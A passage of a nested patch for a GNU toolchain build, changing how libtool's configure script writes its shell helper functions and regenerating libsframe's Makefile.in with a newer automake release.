+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/libsframe/Makefile.in b/libsframe/Makefile.in
+index 9e3d268902b..c22ed33460a 100644
+--- a/libsframe/Makefile.in
++++ b/libsframe/Makefile.in
+@@ -1,7 +1,7 @@
+-# Makefile.in generated by automake 1.15.1 from Makefile.am.
++# Makefile.in generated by automake 1.16.5 from Makefile.am.
+ # @configure_input@
+
+-# Copyright (C) 1994-2017 Free Software Foundation, Inc.
++# Copyright (C) 1994-2021 Free Software Foundation, Inc.
+
+ # This Makefile.in is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -142,6 +142,13 @@ mkinstalldirs = $(SHELL) $(top_srcdir)/../mkinstalldirs
+ CONFIG_HEADER = config.h
+ CONFIG_CLEAN_FILES =
+ CONFIG_CLEAN_VPATH_FILES =
++@HAVE_COMPAT_DEJAGNU_TRUE@am__EXEEXT_1 = testsuite/libsframe.decode/be-flipping$(EXEEXT) \
++@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.decode/frecnt-1$(EXEEXT) \
++@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.decode/frecnt-2$(EXEEXT) \
++@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.encode/encode-1$(EXEEXT) \
++@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.find/findfre-1$(EXEEXT) \
++@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.find/findfunc-1$(EXEEXT) \
++@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.find/plt-findfre-1$(EXEEXT)
+ am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
+ am__vpath_adj = case $$p in \
+ $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
+@@ -185,45 +192,44 @@ libsframe_la_LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \
+ $(libsframe_la_LDFLAGS) $(LDFLAGS) -o $@
+ @INSTALL_LIBBFD_FALSE@am_libsframe_la_rpath =
+ @INSTALL_LIBBFD_TRUE@am_libsframe_la_rpath = -rpath $(libdir)
+-@HAVE_COMPAT_DEJAGNU_TRUE@am__EXEEXT_1 = testsuite/libsframe.decode/be-flipping$(EXEEXT) \
+-@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.decode/frecnt-1$(EXEEXT) \
+-@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.decode/frecnt-2$(EXEEXT) \
+-@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.encode/encode-1$(EXEEXT) \
+-@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.find/findfre-1$(EXEEXT) \
+-@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.find/findfunc-1$(EXEEXT) \
+-@HAVE_COMPAT_DEJAGNU_TRUE@ testsuite/libsframe.find/plt-findfre-1$(EXEEXT)
+ am__dirstamp = $(am__leading_dot)dirstamp
+-am_testsuite_libsframe_decode_be_flipping_OBJECTS = testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.$(OBJEXT)
++am_testsuite_libsframe_decode_be_flipping_OBJECTS = \
++ testsuite/libsframe.decode/be_flipping-be-flipping.$(OBJEXT)
+ testsuite_libsframe_decode_be_flipping_OBJECTS = \
+ $(am_testsuite_libsframe_decode_be_flipping_OBJECTS)
+ testsuite_libsframe_decode_be_flipping_DEPENDENCIES = \
+ ${top_builddir}/libsframe.la
+-am_testsuite_libsframe_decode_frecnt_1_OBJECTS = testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.$(OBJEXT)
++am_testsuite_libsframe_decode_frecnt_1_OBJECTS = \
++ testsuite/libsframe.decode/frecnt_1-frecnt-1.$(OBJEXT)
+ testsuite_libsframe_decode_frecnt_1_OBJECTS = \
+ $(am_testsuite_libsframe_decode_frecnt_1_OBJECTS)
+ testsuite_libsframe_decode_frecnt_1_DEPENDENCIES = \
+ ${top_builddir}/libsframe.la
+-am_testsuite_libsframe_decode_frecnt_2_OBJECTS = testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.$(OBJEXT)
++am_testsuite_libsframe_decode_frecnt_2_OBJECTS = \
++ testsuite/libsframe.decode/frecnt_2-frecnt-2.$(OBJEXT)
+ testsuite_libsframe_decode_frecnt_2_OBJECTS = \
+ $(am_testsuite_libsframe_decode_frecnt_2_OBJECTS)
+ testsuite_libsframe_decode_frecnt_2_DEPENDENCIES = \
+ ${top_builddir}/libsframe.la
+-am_testsuite_libsframe_encode_encode_1_OBJECTS = testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.$(OBJEXT)
++am_testsuite_libsframe_encode_encode_1_OBJECTS = \
++ testsuite/libsframe.encode/encode_1-encode-1.$(OBJEXT)
+ testsuite_libsframe_encode_encode_1_OBJECTS = \
+ $(am_testsuite_libsframe_encode_encode_1_OBJECTS)
+ testsuite_libsframe_encode_encode_1_DEPENDENCIES = \
+ ${top_builddir}/libsframe.la
+-am_testsuite_libsframe_find_findfre_1_OBJECTS = testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.$(OBJEXT)
++am_testsuite_libsframe_find_findfre_1_OBJECTS = \
++ testsuite/libsframe.find/findfre_1-findfre-1.$(OBJEXT)
+ testsuite_libsframe_find_findfre_1_OBJECTS = \
+ $(am_testsuite_libsframe_find_findfre_1_OBJECTS)
+ testsuite_libsframe_find_findfre_1_DEPENDENCIES = \
+ ${top_builddir}/libsframe.la
+-am_testsuite_libsframe_find_findfunc_1_OBJECTS = testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.$(OBJEXT)
++am_testsuite_libsframe_find_findfunc_1_OBJECTS = \
++ testsuite/libsframe.find/findfunc_1-findfunc-1.$(OBJEXT)
+ testsuite_libsframe_find_findfunc_1_OBJECTS = \
+ $(am_testsuite_libsframe_find_findfunc_1_OBJECTS)
+ testsuite_libsframe_find_findfunc_1_DEPENDENCIES = \
+ ${top_builddir}/libsframe.la
+-am_testsuite_libsframe_find_plt_findfre_1_OBJECTS = testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.$(OBJEXT)
++am_testsuite_libsframe_find_plt_findfre_1_OBJECTS = testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.$(OBJEXT)
+ testsuite_libsframe_find_plt_findfre_1_OBJECTS = \
+ $(am_testsuite_libsframe_find_plt_findfre_1_OBJECTS)
+ testsuite_libsframe_find_plt_findfre_1_DEPENDENCIES = \
+@@ -242,7 +248,17 @@ am__v_at_0 = @
+ am__v_at_1 =
+ DEFAULT_INCLUDES = -I.@am__isrc@
+ depcomp = $(SHELL) $(top_srcdir)/../depcomp
+-am__depfiles_maybe = depfiles
++am__maybe_remake_depfiles = depfiles
++am__depfiles_remade = ./$(DEPDIR)/libsframe_la-sframe-dump.Plo \
++ ./$(DEPDIR)/libsframe_la-sframe-error.Plo \
++ ./$(DEPDIR)/libsframe_la-sframe.Plo \
++ testsuite/libsframe.decode/$(DEPDIR)/be_flipping-be-flipping.Po \
++ testsuite/libsframe.decode/$(DEPDIR)/frecnt_1-frecnt-1.Po \
++ testsuite/libsframe.decode/$(DEPDIR)/frecnt_2-frecnt-2.Po \
++ testsuite/libsframe.encode/$(DEPDIR)/encode_1-encode-1.Po \
++ testsuite/libsframe.find/$(DEPDIR)/findfre_1-findfre-1.Po \
++ testsuite/libsframe.find/$(DEPDIR)/findfunc_1-findfunc-1.Po \
++ testsuite/libsframe.find/$(DEPDIR)/plt_findfre_1-plt-findfre-1.Po
+ am__mv = mv -f
+ COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+@@ -325,8 +341,8 @@ am__can_run_installinfo = \
+ esac
+ am__include_HEADERS_DIST = $(INCDIR)/sframe.h $(INCDIR)/sframe-api.h
+ HEADERS = $(include_HEADERS)
+-am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) \
+- $(LISP)config.h.in
++am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) \
++ config.h.in
+ # Read a list of newline-separated strings from the standard input,
+ # and print each of them once, without duplicates. Input order is
+ # *not* preserved.
+@@ -343,9 +359,6 @@ am__define_uniq_tagged_files = \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | $(am__uniquify_input)`
+-ETAGS = etags
+-CTAGS = ctags
+-CSCOPE = cscope
+ AM_RECURSIVE_TARGETS = cscope
+ DEJATOOL = $(PACKAGE)
+ RUNTESTDEFAULTFLAGS = --tool $$tool --srcdir $$srcdir
+@@ -372,6 +385,8 @@ am__post_remove_distdir = $(am__remove_distdir)
+ DIST_ARCHIVES = $(distdir).tar.gz
+ GZIP_ENV = --best
+ DIST_TARGETS = dist-gzip
++# Exists only to be overridden by the user if desired.
++AM_DISTCHECK_DVI_TARGET = dvi
+ distuninstallcheck_listfiles = find . -type f -print
+ am__distuninstallcheck_listfiles = $(distuninstallcheck_listfiles) \
+ | sed 's|^\./|$(prefix)/|' | grep -v '$(infodir)/dir$$'
+@@ -390,15 +405,19 @@ CFLAGS = @CFLAGS@
+ COMPAT_DEJAGNU = @COMPAT_DEJAGNU@
+ CPP = @CPP@
+ CPPFLAGS = @CPPFLAGS@
++CSCOPE = @CSCOPE@
++CTAGS = @CTAGS@
+ CYGPATH_W = @CYGPATH_W@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+ ECHO_N = @ECHO_N@
+ ECHO_T = @ECHO_T@
+ EGREP = @EGREP@
++ETAGS = @ETAGS@
+ EXEEXT = @EXEEXT@
+ FGREP = @FGREP@
+ GREP = @GREP@
+@@ -417,6 +436,7 @@ LN_S = @LN_S@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ NM = @NM@
+ NMEDIT = @NMEDIT@
+@@ -589,8 +609,8 @@ Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+ echo ' $(SHELL) ./config.status'; \
+ $(SHELL) ./config.status;; \
+ *) \
+- echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)'; \
+- cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe);; \
++ echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__maybe_remake_depfiles)'; \
++ cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__maybe_remake_depfiles);; \
+ esac;
+ $(srcdir)/doc/local.mk $(srcdir)/testsuite/local.mk $(srcdir)/testsuite/libsframe.decode/local.mk $(srcdir)/testsuite/libsframe.encode/local.mk $(srcdir)/testsuite/libsframe.find/local.mk $(am__empty):
+
+@@ -618,6 +638,15 @@ $(srcdir)/config.h.in: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+ distclean-hdr:
+ -rm -f config.h stamp-h1
+
++clean-checkPROGRAMS:
++ @list='$(check_PROGRAMS)'; test -n "$$list" || exit 0; \
++ echo " rm -f" $$list; \
++ rm -f $$list || exit $$?; \
++ test -n "$(EXEEXT)" || exit 0; \
++ list=`for p in $$list; do echo "$$p"; done | sed 's/$(EXEEXT)$$//'`; \
++ echo " rm -f" $$list; \
++ rm -f $$list
++
+ install-libLTLIBRARIES: $(lib_LTLIBRARIES)
+ @$(NORMAL_INSTALL)
+ @list='$(lib_LTLIBRARIES)'; test -n "$(libdir)" || list=; \
+@@ -666,36 +695,27 @@ clean-noinstLTLIBRARIES:
+
+ libsframe.la: $(libsframe_la_OBJECTS) $(libsframe_la_DEPENDENCIES) $(EXTRA_libsframe_la_DEPENDENCIES)
+ $(AM_V_CCLD)$(libsframe_la_LINK) $(am_libsframe_la_rpath) $(libsframe_la_OBJECTS) $(libsframe_la_LIBADD) $(LIBS)
+-
+-clean-checkPROGRAMS:
+- @list='$(check_PROGRAMS)'; test -n "$$list" || exit 0; \
+- echo " rm -f" $$list; \
+- rm -f $$list || exit $$?; \
+- test -n "$(EXEEXT)" || exit 0; \
+- list=`for p in $$list; do echo "$$p"; done | sed 's/$(EXEEXT)$$//'`; \
+- echo " rm -f" $$list; \
+- rm -f $$list
+ testsuite/libsframe.decode/$(am__dirstamp):
+ @$(MKDIR_P) testsuite/libsframe.decode
+ @: > testsuite/libsframe.decode/$(am__dirstamp)
+ testsuite/libsframe.decode/$(DEPDIR)/$(am__dirstamp):
+ @$(MKDIR_P) testsuite/libsframe.decode/$(DEPDIR)
+ @: > testsuite/libsframe.decode/$(DEPDIR)/$(am__dirstamp)
+-testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.$(OBJEXT): \
++testsuite/libsframe.decode/be_flipping-be-flipping.$(OBJEXT): \
+ testsuite/libsframe.decode/$(am__dirstamp) \
+ testsuite/libsframe.decode/$(DEPDIR)/$(am__dirstamp)
+
+ testsuite/libsframe.decode/be-flipping$(EXEEXT): $(testsuite_libsframe_decode_be_flipping_OBJECTS) $(testsuite_libsframe_decode_be_flipping_DEPENDENCIES) $(EXTRA_testsuite_libsframe_decode_be_flipping_DEPENDENCIES) testsuite/libsframe.decode/$(am__dirstamp)
+ @rm -f testsuite/libsframe.decode/be-flipping$(EXEEXT)
+ $(AM_V_CCLD)$(LINK) $(testsuite_libsframe_decode_be_flipping_OBJECTS) $(testsuite_libsframe_decode_be_flipping_LDADD) $(LIBS)
+-testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.$(OBJEXT): \
++testsuite/libsframe.decode/frecnt_1-frecnt-1.$(OBJEXT): \
+ testsuite/libsframe.decode/$(am__dirstamp) \
+ testsuite/libsframe.decode/$(DEPDIR)/$(am__dirstamp)
+
+ testsuite/libsframe.decode/frecnt-1$(EXEEXT): $(testsuite_libsframe_decode_frecnt_1_OBJECTS) $(testsuite_libsframe_decode_frecnt_1_DEPENDENCIES) $(EXTRA_testsuite_libsframe_decode_frecnt_1_DEPENDENCIES) testsuite/libsframe.decode/$(am__dirstamp)
+ @rm -f testsuite/libsframe.decode/frecnt-1$(EXEEXT)
+ $(AM_V_CCLD)$(LINK) $(testsuite_libsframe_decode_frecnt_1_OBJECTS) $(testsuite_libsframe_decode_frecnt_1_LDADD) $(LIBS)
+-testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.$(OBJEXT): \
++testsuite/libsframe.decode/frecnt_2-frecnt-2.$(OBJEXT): \
+ testsuite/libsframe.decode/$(am__dirstamp) \
+ testsuite/libsframe.decode/$(DEPDIR)/$(am__dirstamp)
+
+@@ -708,7 +728,7 @@ testsuite/libsframe.encode/$(am__dirstamp):
+ testsuite/libsframe.encode/$(DEPDIR)/$(am__dirstamp):
+ @$(MKDIR_P) testsuite/libsframe.encode/$(DEPDIR)
+ @: > testsuite/libsframe.encode/$(DEPDIR)/$(am__dirstamp)
+-testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.$(OBJEXT): \
++testsuite/libsframe.encode/encode_1-encode-1.$(OBJEXT): \
+ testsuite/libsframe.encode/$(am__dirstamp) \
+ testsuite/libsframe.encode/$(DEPDIR)/$(am__dirstamp)
+
+@@ -721,21 +741,21 @@ testsuite/libsframe.find/$(am__dirstamp):
+ testsuite/libsframe.find/$(DEPDIR)/$(am__dirstamp):
+ @$(MKDIR_P) testsuite/libsframe.find/$(DEPDIR)
+ @: > testsuite/libsframe.find/$(DEPDIR)/$(am__dirstamp)
+-testsuite/libsframe.find/testsuite_libsframe_find_findfre_1-findfre-1.$(OBJEXT): \
++testsuite/libsframe.find/findfre_1-findfre-1.$(OBJEXT): \
+ testsuite/libsframe.find/$(am__dirstamp) \
+ testsuite/libsframe.find/$(DEPDIR)/$(am__dirstamp)
+
+ testsuite/libsframe.find/findfre-1$(EXEEXT): $(testsuite_libsframe_find_findfre_1_OBJECTS) $(testsuite_libsframe_find_findfre_1_DEPENDENCIES) $(EXTRA_testsuite_libsframe_find_findfre_1_DEPENDENCIES) testsuite/libsframe.find/$(am__dirstamp)
+ @rm -f testsuite/libsframe.find/findfre-1$(EXEEXT)
+ $(AM_V_CCLD)$(LINK) $(testsuite_libsframe_find_findfre_1_OBJECTS) $(testsuite_libsframe_find_findfre_1_LDADD) $(LIBS)
+-testsuite/libsframe.find/testsuite_libsframe_find_findfunc_1-findfunc-1.$(OBJEXT): \
++testsuite/libsframe.find/findfunc_1-findfunc-1.$(OBJEXT): \
